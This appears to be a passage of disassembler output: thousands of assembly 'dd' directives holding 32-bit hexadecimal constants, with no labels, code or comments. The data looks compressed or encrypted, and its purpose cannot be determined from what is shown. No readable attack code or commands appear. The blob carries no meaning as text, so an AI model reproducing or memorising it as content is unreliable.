		dd 917572DCh, 5E1620E7h, 0CEFD105Bh, 4B12EF92h,	0C72F8439h
		dd 0EDC02582h, 18112BBCh, 0E2195FA7h, 4DC16806h, 71EA4E97h
		dd 10FCBCB6h, 8B44CD38h, 2FF3AEDAh, 34DAD810h, 0C0E2E056h
		dd 0DEBC19FEh, 3B60AC22h, 64BE31F5h, 0F0D0081Eh, 0D97D43C7h
		dd 0B63B0CCFh, 2F7D5908h, 9FEDDAEBh, 0E033A75Ah, 8EA86053h
		dd 4970B7C9h, 0D2DCB839h, 36453A6Dh, 0A10A407Eh, 63CBC833h
		dd 0F6330A10h, 7EC0FE09h, 61112D26h, 0BBD16AAEh, 7514D1DFh
		dd 7B33FC4h, 2FFFD25Eh,	5B815D0Bh, 54DA7CC0h, 9A1BE0Fh
		dd 6021CE1Eh, 57ADEE88h, 0D85FDE88h, 2F8C1D96h,	0A8C77CF9h
		dd 10108C29h, 7CB2BC84h, 0F65E8CCCh, 8C51D0B8h,	74B1BD3Ch
		dd 6A5900AEh, 0B702E411h, 0A7E7DD65h, 35796918h, 521C7CA7h
		dd 385714D5h, 37EA7508h, 21C779B2h, 1DE22EACh, 4AFCCC84h
		dd 1064DE8Ch, 0CCD47D73h, 5E86CC6Ah, 91F2A9E4h,	38CC21DEh
		dd 88A19F42h, 0E0471CB8h, 56321B84h, 88A89A32h,	81E9DA3h
		dd 0D22C29A5h, 0E8111ADFh, 0D063BDC2h, 4210FFEAh, 6D3CDE52h
		dd 3A394E39h, 0F2454691h, 1292AB25h, 4709A5B8h,	0B34F88C0h
		dd 0ED2B6DF5h, 0D888641Fh, 43751B1Fh, 81CC95C4h, 20727EE4h
		dd 1EB9AD10h, 0D481B9CAh, 0EF359488h, 287CD424h, 6284EBE6h
		dd 5E0B6E4Dh, 57CB19DFh, 4234E92Eh, 0D49E6146h,	896FC22Bh
		dd 0AE50BB4Dh, 0ABC93153h, 0BD20714Ah, 62CE58F9h, 23C9198Ah
		dd 96D76BA7h, 0D03CC33Ah, 0B757A57Fh, 62B48839h, 0E215ABD7h
		dd 23365DC7h, 0E20B1B7Fh, 0B7A33C7Ah, 0D265E88Bh, 0ECC88511h
		dd 0BE7510E4h, 0A4701828h, 0B7E6BF07h, 9D95709Fh, 0E014B5E5h
		dd 0AD3FC898h, 2818BFA4h, 709E85ECh, 62B7D167h,	29365D2Dh
		dd 2D9A1AE5h, 7A17C37Eh, 54C4BC8Ah, 3967EE06h, 4B30BF5Ch
		dd 9E9AF6A5h, 8A1D166Fh, 25FC79BFh, 0CC751142h,	767E2898h
		dd 0C26C3D0h, 1B4190BFh, 92A32E93h, 84A321D2h, 2CF42AB5h
		dd 4DB2C274h, 645751FCh, 0FC504B3Eh, 0DDAD45Ah,	5ED37CF7h
		dd 1559A33Ah, 4A26B4FFh, 1A0D59F1h, 9364F660h, 724434BDh
		dd 0EE39381Ch, 280CAB20h, 95B69675h, 0E8C9EEF6h, 8E6D6140h
		dd 0D521F87Bh, 3D2091A6h, 0B13BC5CAh, 1A2B200Fh, 4F2D3FD5h
		dd 0B45F2738h, 85FE9628h, 0C4997E27h, 0F139030Ch, 42A608CEh
		dd 4694ECA9h, 194CC45Bh, 2A78AF61h, 44A2552Eh, 23F4903Dh
		dd 0B7C8101Bh, 6EF479A8h, 40B0E8D8h, 0A3422353h, 1DF6AF9Fh
		dd 9064FB72h, 42B420B2h, 9110C8E0h, 40E422E2h, 0E989E8E6h
		dd 75FEEA08h, 265EF046h, 0CE664DC7h, 313AD42Ah,	0D90850D8h
		dd 0CC613202h, 0BEC0E8DAh, 0F2DE90D2h, 0C44016F8h, 11C08914h
		dd 0F808CF5Dh, 13F28B17h, 0A87F4CFAh, 0E817DC67h, 0CEDAA939h
		dd 85CCCBh, 3DCEF7A9h, 0D0A24211h, 0E26A4F36h, 17E748F2h
		dd 0D1CE575Fh, 2156ECC8h, 0CC08B93Fh, 0B92E5857h, 6C36088Dh
		dd 0E004DC64h, 0A50B2C57h, 0C5601034h, 0D1F6B8FAh, 7CA1AB84h
		dd 296B43F0h, 0C5E246EAh, 11D1FBB8h, 1CF4F2B0h,	85793F43h
		dd 0C63BFC85h, 86C8D0F4h, 81A8F840h, 0F4210ABCh, 0CE342156h
		dd 73A6BD08h, 213E16C2h, 456269D1h, 9E90C5A3h, 0A298E23Ah
		dd 9EA7932Fh, 58CCBCD0h, 4684FD0Eh, 0F794B21Ch,	65434D14h
		dd 0A6FE6C13h, 0A3012C0Eh, 9DD3E8D8h, 0AA99F6F2h, 0CE2D6649h
		dd 0A3135B2Ah, 53FC2202h, 597AC154h, 1488AAA5h,	8FFC6C50h
		dd 88FE6C88h, 0C8EF57EAh, 15A242FCh, 17D20531h,	9522981Ch
		dd 0FF78E548h, 0A8044084h, 333C4890h, 410684C9h, 60ABBB5Ah
		dd 89AC7DD7h, 3DD37CE8h, 2D804C08h, 84738972h, 1A885531h
		dd 0E16088Ch, 880C9021h, 98621194h, 299C1816h, 3AA02286h
		dd 0A473E590h, 0AB66B0F4h, 660ED48Eh, 2EB806B4h, 2045BC70h
		dd 8E901231h, 31C24CC4h, 0CC4D1B3Fh, 0C8BD035h,	91D5ABD8h
		dd 893B574Bh, 0A0D72E80h, 0DBA850A5h, 0E3A384D6h, 0CD134B2Eh
		dd 354FBEF2h, 3798FB7Ah, 5672CB8Dh, 64311A9h, 93126759h
		dd 825AC9E2h, 8B027890h, 0D3B57A3Dh, 4AACFC9Dh,	68080820h
		dd 0E63BDE9Ah, 220B6BF6h, 7744125Dh, 0B1BF2645h, 0CAE91F6Ah
		dd 9EC8493Eh, 8B996E21h, 1BAC39CBh, 802D25F4h, 2518E2C1h
		dd 0ECE9D00Bh, 9F1A5984h, 7750AC1Ah, 1FA4B982h,	0DC9CE85Eh
		dd 300C28B6h, 0D43004DDh, 498A5FE8h, 56E5E0FBh,	0BFF573E6h
		dd 95448B84h, 8C0BE9B0h, 0B1E23956h, 80DE65A2h,	2DE8E4B3h
		dd 90E29A1h, 248ACE30h,	41939584h, 0AFE54588h, 446C89FDh
		dd 0B5EC4FC5h, 689CECC7h, 0DA814695h, 366A501Bh, 0B5749F40h
		dd 84A8CC9Dh, 0E7549ACCh, 0E22FBCB5h, 20F89089h, 717DBC2Bh
		dd 0FF1F010Ch, 1A748809h, 0CA591783h, 0F1FC4F01h, 9E03BDD2h
		dd 6AA10450h, 840D6C68h, 1664FDC0h, 11A5B2A3h, 61C4019Ch
		dd 536022FFh, 3470ABDFh, 4DA906E8h, 0CBB945A4h,	0C4AF59C9h
		dd 44C02C66h, 0CE4278FBh, 0F9A31D12h, 5058880Bh, 4684FBC0h
		dd 8C42354h, 788FDC0h, 0FBC8EF55h, 2B12BF42h, 1FEB98F7h
		dd 82679D72h, 392559A4h, 16EA752Ch, 0AC107E8Fh,	3AA29FC4h
		dd 6C5489C4h, 0A1088741h, 425FD271h, 0D1BD569Bh, 0E4714C5Eh
		dd 92E4586h, 7064A36Eh,	101E19D1h, 31B211D1h, 91FE9434h
		dd 9C2510BCh, 5313E8A7h, 0ADBE642Ch, 0C120B490h, 62085D81h
		dd 0E9D00913h, 939C762Bh, 2B5EF128h, 509DBA71h,	6B8976E6h
		dd 8B1595Ch, 0DB35DA5Dh, 0DD21162Ch, 2D74DE00h,	9EA283E8h
		dd 0E6C18773h, 1579A608h, 6F210343h, 74366564h,	3905E05Fh
		dd 0C47116EBh, 2D2E658Dh, 8B1634AAh, 48CCFED9h,	0E44F1816h
		dd 4F3257C3h, 16BD8A67h, 90B506EBh, 0DEECE3Ah, 4112E8EAh
		dd 23DD3E3Eh, 441E26E8h, 8429EC85h, 5E88CF04h, 0A0F48A20h
		dd 40C5F049h, 214F5F0h
		dd 0C8205CEBh, 0F0116E08h, 8E3CEB10h, 0E0110C43h, 6F25CFA1h
		dd 0E9F27395h, 87CFF0CFh, 70F5BCD0h, 0F408EF68h, 0E3F61487h
		dd 9C0CE032h, 0A9C3F009h, 999FA37h, 60A020F8h, 4EC4A4E9h
		dd 0A62C06A5h, 6A488D62h, 42517120h, 6272B1A9h,	99D965EFh
		dd 9A1E800Ch, 0B036A509h, 8664A294h, 0D1D4F840h, 76C83342h
		dd 6F4AD672h, 2C25646Dh, 88451396h, 9A180D44h, 602393E6h
		dd 88455D94h, 1431F1DEh, 0BC2394B2h, 3C7A2E22h,	47CDB697h
		dd 43D720AEh, 0C0C992D0h, 4BBB5360h, 8AD0DAFDh,	0CC2522B5h
		dd 0FDC421D3h, 0C0614444h, 0CF1811FBh, 9F461C08h, 11AF834Ch
		dd 0BEB15106h, 1E100B0Eh, 0DCB8F46Eh, 0FD47C4ACh, 10CF4271h
		dd 6EB1FBC0h, 7E0A19A0h, 6CCC88B3h, 0A0098740h,	6959736Dh
		dd 3EB9CD7Fh, 8B0CB842h, 5D276BA4h, 7B62589Fh, 4F3F179Ah
		dd 0D0892526h, 0FC313F53h, 3C5CE872h, 0CFB8E16Bh, 9D429108h
		dd 0A8C4810Dh, 0EC6E394Dh, 0C44F467Ch, 97630D34h, 0B50C3DFCh
		dd 0ADCBD3C8h, 56531345h, 0BC4F42F3h, 1D294ABDh, 0B4A4CC2Ch
		dd 8CC4D6A7h, 59029E12h, 22D578BBh, 0F7096AD5h,	45B51A40h
		dd 0A5C6F995h, 974600A2h, 0BE12DFE6h, 92F705A0h, 0AB7C2B34h
		dd 0AD2D4EDh, 86B3A08Fh, 0DB2870Fh, 2C3D830Dh, 75C0A668h
		dd 0E5569D58h, 9C21F091h, 1197050Eh, 0AA4E1291h, 8E19E529h
		dd 4E48DA91h, 0A2DE0AAAh, 8BA11005h, 0E47B7EA0h, 741D8CECh
		dd 20416194h, 164C13EBh, 4E622210h, 0A4A81E29h,	0A7E82734h
		dd 707BBE5h, 563324ACh,	0F481B50Ch, 834710B0h, 12F716CBh
		dd 5E3FE8B2h, 14106462h, 0B4090EBAh, 4FCA858Bh,	40B6B2E0h
		dd 0B87546BAh, 6B908C0h, 0D7BC7D89h, 0F610EF34h, 0C4126728h
		dd 0C6620E94h, 9E13C08Dh, 0FD08C810h, 0C6CC469Ch, 5024D01Dh
		dd 0CC07D47h, 0A1D69F5Ch, 0D008D854h, 0C63297FDh, 8EA57B27h
		dd 0E0ACE60Bh, 0C318D2B3h, 787DD4C1h, 28C0D1Bh,	4290CA72h
		dd 80CC48F7h, 22EBB1A5h, 0BA53CCB9h, 681ABC64h,	0DFAD058Ch
		dd 3AED1C64h, 0C63E53E2h, 6E1494Eh, 0F2923BF5h,	31E57562h
		dd 0C464A52Ch, 22ACF504h, 98532478h, 11AAE4A2h,	98684303h
		dd 0F3229D65h, 0E3D6F4B8h, 9A8C27DBh, 709512A2h, 0C9A39CA6h
		dd 0F5948BDDh, 6223CFADh, 0CBEE9241h, 99142286h, 0B4B81246h
		dd 54B857EBh, 9B95F2F8h, 23520EEh, 24D2C090h, 4810D510h
		dd 82C712CCh, 0D649FEB7h, 44253623h, 0CFF821EBh, 249ABB08h
		dd 2200BD4h, 0BA5BE0F6h, 0F2AF6C0Ah, 0F39F8469h, 4F5446D8h
		dd 7B6AC90h, 0EF895747h, 75F406C2h, 0AC61841Ah,	0D03868E7h
		dd 23625942h, 84143359h, 165CC6E9h, 2CF2EC4Dh, 7E8FE192h
		dd 7CE7F734h, 80AC0E23h, 1BEB7331h, 38E7F16Bh, 0B120E221h
		dd 2614B81Dh, 645B861h,	6B25936Fh, 0D657B727h, 3845CB04h
		dd 0D6274021h, 97652D39h, 94E2E016h, 0A21C1841h, 0C02786FCh
		dd 0BDDF9999h, 844E3322h, 0C31D241Ah, 8CFC10C4h, 74B58C25h
		dd 4BADC234h, 6295CFC6h, 49B4D4BFh, 67B25896h, 250C8528h
		dd 964B26FEh, 89301B8h,	0BE969163h, 48EBF8B4h, 39CB2605h
		dd 50756F18h, 0CC626EB1h, 1FDC5F57h, 436D9649h,	22538BCCh
		dd 3141DF69h, 84D108D2h, 0AC4BD061h, 91F22868h,	310D0EB2h
		dd 2CD63866h, 0BBE263ACh, 0C65610A4h, 645B057Fh, 660D67CAh
		dd 0A41B12A3h, 0C706FF49h, 5B171405h, 1656D301h, 184E1364h
		dd 190E804Ch, 2B911189h, 2C985B1Ah, 0E008F71Ch,	3CA220F0h
		dd 6411FE0Eh, 9562A43h,	10F69560h, 9C96C049h, 0E148D99h
		dd 25E8C628h, 0AC597743h, 0E826447Eh, 162A7257h, 48F60868h
		dd 0DD24151Ah, 4E43F5Ch, 828A345h, 0F740482Ah, 506852FBh
		dd 497A0E2Ch, 0DCC91E92h, 565120FAh, 6769A5E7h,	840F8408h
		dd 2E74E2A4h, 9E52E9FCh, 84D84291h, 0A05F9495h,	4276862Ch
		dd 2F0F65A5h, 2186A278h, 0A5F66924h, 4D6EE843h,	0C6273C4Fh
		dd 0B86B9209h, 0BFC2EEBAh, 0FC4C27F0h, 0D138F12Ah, 974E9608h
		dd 2A8A8634h, 0D4983A1h, 64F4F62Eh, 65E75695h, 0A0885242h
		dd 18C2906Eh, 0BA76ACEBh, 0BCE8847Dh, 9FBFB393h, 0C40EAE94h
		dd 25B8FDF0h, 687E44E2h, 84D22C70h, 7696D721h, 6248C523h
		dd 0E030067Dh, 97C88565h, 7FB91A25h, 0FD256159h, 6427BD67h
		dd 0BCE925FEh, 77BF12FDh, 50252652h, 0AE12D547h, 0F10609D7h
		dd 3955A536h, 14163003h, 4AC01456h, 6A5A38AAh, 0C9795695h
		dd 0C7634455h, 4901461Ah, 0BD686455h, 5163F65h,	0EB7907FBh
		dd 5BCF5758h, 43A2E70h,	4D4A7B8Bh, 0CB7171ABh, 93110C54h
		dd 0BA22B217h, 0B3B7419h, 0E7540895h, 0E6AC0416h, 1CA6BCD2h
		dd 0D9271007h, 0FF8BA223h, 9453183Ah, 6594B674h, 53095525h
		dd 90DE4ED7h, 0B3DB972Eh, 0F3E18E2Fh, 898986E3h, 24B82575h
		dd 0DA75CD16h, 58A350F4h, 0D659EB90h, 1116E7D6h, 0C48965Eh
		dd 1C196A12h, 7BFF10D1h, 0D59D8929h, 12844D8Dh,	0FCFDED0Dh
		dd 0A3D9C712h, 0D74B2926h, 16154299h, 167C4414h, 80451584h
		dd 88100717h, 508CC435h, 0C519031h, 10584394h, 9CC46E98h
		dd 77A03171h, 8743A40Ch, 0C489A810h, 0B0318BACh, 21B40C8Fh
		dd 0B80801BBh, 4BC67BDh, 99C02004h, 0C4218405h,	0B8C884DCh
		dd 0EACC2006h, 0D010840Ch, 0D4820D3Dh, 0D8101388h, 81A420Bh
		dd 421F40DCh, 0F32290E0h, 0D67475ABh, 6003E48Ah, 91BEE892h
		dd 34FC5D45h, 38FD66D5h, 5FC7921Ah, 0F3AB6884h,	5BC1497h
		dd 64668FF2h, 8FFF5007h, 59E85EB4h, 0BFECE59Ch,	0B10EE44Ah
		dd 1127FE51h, 41E61054h, 243B864Ah, 0F030E057h,	0FF52109Ch
		dd 4603AB09h, 0C8044D8Bh, 0D848907h, 0C9835888h, 0B57E04B6h
		dd 897C7001h, 8B2598BEh, 0FD3558CDh, 93DAFE41h,	0C6F1292Fh
		dd 0F895DC54h, 34106B97h, 9B7ABF37h, 0CD984655h, 5E433384h
		dd 6015CA82h, 0A35C6836h, 0F45E043Eh, 0F89399E8h, 981AC918h
		dd 71E8532Ch, 27C3E13Ch, 78E75096h, 0A2AAF413h,	7C1C02EAh
		dd 61286AA7h, 0F9863423h, 4A8DB4E8h, 0C630BE50h, 45100550h
		dd 0D9F1565Ch, 6133D1Ah, 0B0350E22h, 3BF22F2Fh,	4B1B6292h
		dd 0A3667804h, 21A76838h, 3C0D800Ah, 645F250Ch,	3632C863h
		dd 3A82E1AFh, 0AF750F93h, 5EC96C92h, 0E5EB9E6Ch, 0C194068Bh
		dd 5A84407Dh, 0F59A8908h, 881B8544h, 5074551Dh,	0E98ABD86h
		dd 0EBD7C614h, 1EF88B31h, 8A94E7C1h, 10C78171h,	0AC57F403h
		dd 4CA3C632h, 54A02845h, 87D0B48h, 0B4810F24h, 42A2146Ah
		dd 7274660Eh, 84AB1D9Fh, 0C8915A14h, 3D15BE4Ah,	74226670h
		dd 1575D481h, 0A314C5F7h, 0A1212576h, 5C830625h, 5D02650Fh
		dd 5E3A4860h, 0EB09844Ah, 39201905h, 48C14A0h, 0E6E82D75h
		dd 64568F3Ah, 0A14A484Ah, 6C4A4FD1h, 2B55915Dh,	0EB1D8302h
		dd 10020FA9h, 4F3AB2E8h, 0A2A3148Ah, 3805C8DFh,	964C0CB2h
		dd 286A7C83h, 2B51BE59h, 14C278BFh, 5888073Eh, 0F30AE1A0h
		dd 9834BEA5h, 512F415Ah, 207269CEh, 13546CEDh, 3FE82902h
		dd 0D17B6656h, 0EB78301Ch, 0E86ECE49h, 35FF1657h, 0ADF6F164h
		dd 1F898127h, 8C0F4F22h, 15A5197Ch, 4B65A49Ch, 581D0BDFh
		dd 12A2B70Fh, 0D06AD3E9h, 32B865C1h, 2A164AA8h,	215BACE8h
		dd 4939E167h, 0A3A47FD1h, 10E01FC1h, 4420A481h,	0B4E2EB0Bh
		dd 56016D5Dh, 5240BE57h, 0B8C64245h, 3EA9A7D5h,	4876DC09h
		dd 9E7A09B1h, 0F159673h, 0F7030785h, 5DB6FE81h,	0DF7C0948h
		dd 0EE6042EBh, 0F6506953h
		dd 0C1B7572Dh, 3B449EE4h, 8B1CBD81h, 7317D39Bh,	30711622h
		dd 8D3F9F68h, 39D25886h, 5D3093ABh, 24EC2940h, 48143D90h
		dd 5A9943FAh, 9E137224h, 10769FAEh, 91B1D264h, 40110A42h
		dd 8D368052h, 0C6501846h, 4A786854h, 0E76CFE9Dh, 218E0802h
		dd 0CBAE1392h, 424F8A70h, 0C6812C85h, 0B947AA22h, 0B93BB6BFh
		dd 8B10CB55h, 2D45F91Dh, 0BB8255F9h, 0F74EAC98h, 0E361469Ah
		dd 3B96076Ch, 9AD4B5E0h, 4A128314h, 8A9EDAC1h, 2B020C08h
		dd 7DDE3BDFh, 3015F5E3h, 0A3498C65h, 88420257h,	28368591h
		dd 80CB5DE2h, 7A7933D5h, 0AF83D608h, 51F2E0CCh,	14F3159Eh
		dd 0F3FF6512h, 51382CD1h, 489BF8DFh, 56347DC3h,	2712BEC7h
		dd 1775D842h, 43244453h, 416D84B0h, 181B4E36h, 0A9201374h
		dd 6525F8E8h, 746DCC7Bh, 0CA90035Ch, 786BCD14h,	1C3B6016h
		dd 1E38427Dh, 2C2D7428h, 0F9A63D9h, 24A263A0h, 0E4E43012h
		dd 0BB418614h, 7E595653h, 72A8FD8Ch, 8A7E823Eh,	3DAA1F3Dh
		dd 0B851C984h, 74F02A53h, 1A055008h, 0F219A83Dh, 0B5A9839h
		dd 511A7510h, 680EDE72h, 1144D2BCh, 15041428h, 4A40CAE8h
		dd 2BD0681Bh, 0A14884EAh, 5649C359h, 1A3E8862h,	69484710h
		dd 298C2F8Dh, 0E56E1275h, 230DEBDDh, 0E62E09C3h, 31C10A3h
		dd 0E46658A7h, 9505989Bh, 23B8BECAh, 551C3947h,	0FCDC89F0h
		dd 0A110B8CBh, 521E75C2h, 86E81130h, 0E468EC1Ah, 0EF8C70FBh
		dd 623925FEh, 52778091h, 17838130h, 0F0C9346Ah,	0DBBF8A00h
		dd 263C2B4Ch, 24081C17h, 8A30EF3Dh, 3C45B052h, 0DF193662h
		dd 137502A2h, 1A703C9Ah, 0C5472E49h, 7672571Ah,	0C772B056h
		dd 914D933Fh, 0FDA6B208h, 0C4241E59h, 0BE44D308h, 824AB4FEh
		dd 0F0753959h, 5660855Fh, 0F2AF1B24h, 184F415Ah, 848C7C4Bh
		dd 0EB6AD21Fh, 0F077A7A2h, 0CB5C5F97h, 2DBE9318h, 1C68D813h
		dd 743CC9D9h, 3B26212Eh, 1FB03AFEh, 0B842F0Fh, 9F2E2471h
		dd 79799011h, 19F4AA0Ah, 0F4120C0Ch, 40F88330h,	770AF008h
		dd 29186A10h, 34B4BB65h, 9B024CEBh, 44D42164h, 88EEC63Bh
		dd 2DD7A3D7h, 0D6282BA1h, 43C4802Dh, 0E668433h,	4F10A6F0h
		dd 172C858Ah, 0CC35EF08h, 57BC09EFh, 28457EE6h,	88305C7Ch
		dd 8C75896Ah, 109006C8h, 0AE982694h, 0A0069C19h, 0C8CCAE91h
		dd 1570BE4h, 58C4B8F5h,	0F8F1B72Fh, 2D014588h, 8E3CAB91h
		dd 0B206813h, 2B3B8ECCh, 9E87CB57h, 2A52F5FAh, 0C618FFD0h
		dd 43D31B84h, 0D817AD12h, 53C7CCAFh, 0AC631EA4h, 91D88B91h
		dd 0A07BF07Dh, 0AF770F3Ah, 0F908F467h, 0C19181F9h, 0FA2F03EFh
		dd 18F8884Bh, 0E548D92h, 0C0833638h, 0DA29A473h, 3FACCEAAh
		dd 5EBF402Bh, 0D8B0949Ch, 42B581D3h, 0D26A304Dh, 0F9B109B5h
		dd 0A82032B5h, 4DF1D393h, 0B43792ACh, 0B6D913A5h, 0EBB82E92h
		dd 28C02F23h, 5BD7C406h, 0FE1385C8h, 80B73CEh, 0DE406074h
		dd 0AC35156h, 0B20E6AD0h, 60E65750h, 0D7BDC69Dh, 7F9EB196h
		dd 0C1919EE2h, 21181829h, 85E6A2C6h, 8918221Ch,	125DE8FCh
		dd 0D3D3AD2Eh, 0E411B4ABh, 2FD718DCh, 443CCFA6h, 57F642C5h
		dd 0EBC60A98h, 470B1253h, 28EA4B1Eh, 34E483D9h,	0FF5098B6h
		dd 2AB9935h, 0A068786Ah, 23E30752h, 244C7C09h, 2FD8C44Dh
		dd 60BFB32h, 2FA4074Ch,	4D6BB6E9h, 7F282E24h, 0E8127462h
		dd 2A680CABh, 4514040Ah, 0C03424E4h, 55C29BB8h,	3C81E9DEh
		dd 6AAA2095h, 0A50E682Ch, 59F2C2Ch, 71D774E0h, 8D2CBF22h
		dd 0FC117435h, 92FCEC12h, 50095721h, 5D1D087Ch,	4C2C974h
		dd 14F4EE5Eh, 10A374F8h, 0D1BF2422h, 800D283Ah,	0BDE943C1h
		dd 0E532D4E2h, 7A106F19h, 940CAD22h, 0A4F2B14Ch, 9CE8063Dh
		dd 4D5A719Bh, 3B0059BDh, 0B9057FCBh, 1FD70280h,	18C3380Ch
		dd 44E052B8h, 44E890Eh,	7663466Bh, 41100EA1h, 0BB145E82h
		dd 8120C006h, 8725AD24h, 28F688CDh, 2A294006h, 0BB4B2B81h
		dd 0E0A2D21h, 1EDA7156h, 3D54A98Eh, 791D49A1h, 144D3912h
		dd 0F91F1968h, 0F8C1CA0Bh, 7E68B6E8h, 0DB08B4Ch, 695EE359h
		dd 0D55A0B21h, 0FF9068D0h, 90599F94h, 23FC7E15h, 64F96A2Ch
		dd 0C9C83AFCh, 24ADC4DBh, 84A8FC94h, 6FD47421h,	2CF3136Ch
		dd 0F92B1EA5h, 395C3B42h, 462B18FCh, 97ABDF5Ch,	624477CBh
		dd 0F9294C87h, 0A310FC90h, 51148899h, 1811C2A0h, 0FC820312h
		dd 0F54D5758h, 46387471h, 292D6885h, 0C8ED266Ah, 6860049Ch
		dd 0C4AC3941h, 8D0635F5h, 74CCE524h, 0E7BE015Ah, 0A105D442h
		dd 46A9C07h, 0E53E20A3h, 265B2E40h, 14652E10h, 0E241B2Eh
		dd 8F3E9445h, 7D1654EDh, 0E82584ACh, 45C86671h,	28C2ED6Bh
		dd 1B0BD146h, 0F0A83F48h, 333D0360h, 0F83D39FFh, 9C4470E1h
		dd 840FC195h, 0E9222B91h, 0BE1483B8h, 0B20B4BF8h, 331938EBh
		dd 91308502h, 8E9DF076h, 79B5E0F8h, 231493BDh, 30255710h
		dd 92505176h, 0B537BE88h, 27853636h, 4D4068Bh, 0A3867EADh
		dd 185F2728h, 84E62078h, 32864E34h, 19261132h, 5CFBA76Dh
		dd 0CC41217h, 0F56EDFC9h, 5BF3C38Ah, 94A7C3AEh,	87723613h
		dd 531773BAh, 646A2119h, 9D6C6024h, 75280C8Ch, 0B5E9DB29h
		dd 593D6A0Ch, 92BA29E8h, 744B3028h, 28546830h, 9341F657h
		dd 179E2AEDh, 42EBD157h, 0C9FD208Ch, 5A88FC5Ch,	85C68920h
		dd 189448F1h, 1944B21Ah, 53100CACh, 2C5A1857h, 3741A8A7h
		dd 4A931509h, 9F94AF63h, 0E4C981Eh, 52EBF958h, 4CD1EB40h
		dd 60645C88h, 5FA84950h, 0C91A9087h, 0CAF9DD28h, 468D1860h
		dd 383924F4h, 0C57D134Dh, 5FB20B48h, 7AB605CEh,	7239F6A7h
		dd 27ADC6F7h, 0CE5F5F74h, 0E17FEC94h, 0D78C791Ah, 6632FBDFh
		dd 0F1C6F7C8h, 277B74BFh, 74EDB0F5h, 0AE459F22h, 0C457F627h
		dd 5E516657h, 4A0CA60Bh, 0F7028209h, 0B81AE06Eh, 84C811B4h
		dd 28AE8920h, 21866D03h, 0B232FE4Ch, 13137DECh,	10DD508Ch
		dd 428EFE54h, 59DC50B0h, 0E8F4D09Dh, 8E6B475h, 6809EE4Ch
		dd 47191874h, 1AD48284h, 0F87D3906h, 571B2934h,	1E09271Bh
		dd 58EA7776h, 0F6363B0Bh, 23EEE451h, 200F8DF3h,	535605F0h
		dd 8E4CFEFh, 884EACB4h,	838D4288h, 39DAC9F8h, 47E30C98h
		dd 35D7F183h, 4F8F221Bh, 0A612EC59h, 52EA2FD8h,	0D469B5D9h
		dd 0BFFD53C8h, 0A4562188h, 6A576234h, 0B9FF7DCEh, 0F33FEE53h
		dd 67FCD626h, 908D382Bh, 0D026C9C8h, 26698C76h,	0E2C63FC3h
		dd 58B31474h, 0A7E80AC0h, 45BE514Eh, 32A37526h,	1E19CC38h
		dd 0C224C554h, 1423C33Fh, 3CF2CCC2h, 0E34E2742h, 0A04C4BAh
		dd 421BD9Fh, 5DB3389h, 0D1EF43BCh, 22988968h, 76D376C0h
		dd 0BF5B25BBh, 0E80740DBh, 5680A75h, 80A1BBE7h,	0D055983Ah
		dd 42CE5640h, 5CA59F7Ch, 7249520Fh, 513DA4D2h, 97D4884Ch
		dd 7499DFFBh, 7B08247Ch, 0E43C378Bh, 31DF3962h,	4EADD0AAh
		dd 0B281FE46h, 0FCCD7FD2h, 8533916Eh, 69433220h, 2B2F8280h
		dd 8BE04854h, 288AF24Dh, 75140D84h, 0C870B73Ch,	0D825F42h
		dd 612F9FCh, 405C4119h,	5340FD4Dh, 59E2A039h, 9DCD7976h
		dd 0F74C4951h, 15E18448h, 5379C8AAh, 59B732A4h,	0B3F7E906h
		dd 6C5421DFh, 0C822D61Ch, 2EB4DC35h, 0FC8C42A8h, 2E91B51Eh
		dd 72D8E80Fh, 0EAB4B5B8h, 0AFEA6967h, 66040EECh, 878CAFFCh
		dd 816824B2h, 0F34E1289h, 61A664ABh, 2B335D43h,	0FC09F224h
		dd 6B66F0C8h, 7741D93Ch, 2159B850h, 90FE3CFBh, 9C13DD97h
		dd 0CBCF3F9Dh, 207F0AEFh
		dd 264A4456h, 0A468AC06h, 444C8CC3h, 2448E911h,	39ECC855h
		dd 0DCB82FC7h, 5A757A5Fh, 0C54B785h, 91646F34h,	80C59E04h
		dd 70E936B4h, 0CEC2E1EEh, 0F9394FECh, 21A23319h, 8DAC85BFh
		dd 3B3281D6h, 2F03D1C7h, 0F66C73D6h, 159BA4F5h,	1B7ADEE8h
		dd 4CF7F354h, 562F2FD8h, 71B5AD66h, 0CBE0906Dh,	0A133FFF5h
		dd 71B8305Ah, 0B51462B4h, 3B7D888Bh, 56AB0E9Ah,	0F0AA0199h
		dd 3057451Eh, 0F455111Ch, 3B0140B3h, 0AC8C0FC3h, 0FC8AE138h
		dd 37A1110Bh, 0F999EC29h, 118B1321h, 3C225E8Ah,	24952BCh
		dd 760816E8h, 0BCC96F07h, 0ADB994D5h, 0C9E01090h, 9D2244D3h
		dd 0CB02741h, 0AC498604h, 31C3F19Ah, 26565167h,	0CEF7B18h
		dd 4D98FE3Bh, 87FC075Bh, 0D8C364A4h, 0E83BA861h, 0F5BCCAC6h
		dd 0CA02CF5h, 718DE843h, 0BDFA21A5h, 9B2E3623h,	441857B8h
		dd 544B8288h, 0FC5C7376h, 84461166h, 7FFE40F1h,	0EA92E2B2h
		dd 6ADC5225h, 2BFD453Ch, 9CBA46C4h, 0F8AC5C61h,	0CF072ED1h
		dd 9D8E9468h, 5D7ED40Bh, 25FCADB3h, 855A41F2h, 4C34F3B4h
		dd 775E004h, 5F446168h,	265046EBh, 21434361h, 78C18974h
		dd 0DF25967Dh, 41276150h, 996FE082h, 6553FD09h,	5A89728Bh
		dd 6E20D1A5h, 10E842A4h, 5784FB3Ch, 2BFA327Eh, 0EB3C41B8h
		dd 0F21E449Fh, 0CD419478h, 3DAE3B21h, 0C3FC6A56h, 7EAC9A88h
		dd 0A8367489h, 77492441h, 0A5675C10h, 0FF7DBA83h, 5D64BB8Bh
		dd 5FEC4C97h, 4B29F6F4h, 0EBA15EF8h, 68805898h,	10BFC453h
		dd 53297DD2h, 0EB463712h, 225F96FDh, 0CA20FE40h, 3BAE852Fh
		dd 6FB1EDA6h, 0E373310Fh, 0FBF84F0Ch, 4741E4B2h, 12E5544Ch
		dd 6D75BB83h, 975D88AFh, 6EB70570h, 8223FB22h, 0DC217990h
		dd 915E5991h, 31EC5D3Dh, 0C8811A7Ah, 0A17AA449h, 59014484h
		dd 842FFC62h, 0A78A218Bh, 1EBC074Fh, 0AD767E08h, 9247908Dh
		dd 10F23CFFh, 42B6799Dh, 48F6AAB9h, 0EE3434C4h,	8056B688h
		dd 0BF8302A4h, 0CFBB758Bh, 6F3835A1h, 2F8CAC21h, 0E8CB322Eh
		dd 51042E02h, 25021524h, 20269845h, 460E1896h, 5D5273E0h
